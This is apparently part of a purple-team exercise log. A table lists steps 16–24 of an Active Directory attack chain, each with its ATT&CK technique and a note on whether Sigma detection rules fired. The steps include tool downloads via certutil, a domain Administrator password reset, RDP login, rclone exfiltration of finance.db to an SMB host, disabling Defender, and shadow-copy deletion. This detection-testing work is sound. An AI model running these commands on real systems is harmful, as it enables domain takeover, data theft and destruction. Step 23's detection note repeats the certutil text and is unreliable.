Part 2

Step	Action	ATT&CK Techniques	Blue Verification
16	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/PowerShellActiveDirectory.dll C:\Temp\a.dll Import-Module C:\Temp\a.dll`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts
17	`Add-ADGroupMember -Identity "ITSupport" -Members "billh"`	T1098.007	No detection Win_security_user_added_to_local_administrators.yml only detects adding to a local (not domain) group
18	`Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString 'DomainPwned!' -AsPlainText -Force) -Reset`	T1098	Win_ad_domain_admin_pw_reset.yml Detects it
19	`xfreerdp /u:Administrator /p:'DomainPwned!' /d:ATTACKRANGE /v:10.0.1.16 /cert-ignore`	T1021.001, T1078	is T1078 but we don't have detections on incoming RDP connections

20	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/rclone.exe C:\Temp\r.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts

21	`[ss]`
	`type = smb`
	`host = 10.0.1.30`
	`user = user`
	`pass = KN_sSidIRaFo_cmcZ_YNa5o8SLfyli8`
		?	No detection

22	`Set-MpPreference -DisableRealtimeMonitoring 1`	T1562.001	win_defender_real_time_protection_disabled.yml
23	`C:\Temp\r.exe --config C:\Temp\r.conf copy C:\Users\Administrator\Documents\finance.db ss:data --no-check-dest`	T1048	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts
24	`rm C:\Users\Administrator\Documents\finance.db` `vssadmin.exe delete shadows /all`	T1490	Proc_creation_win_susp_shadow_copies_deletion.yml Detects it, maps it additionally to T1070: Indicator Removal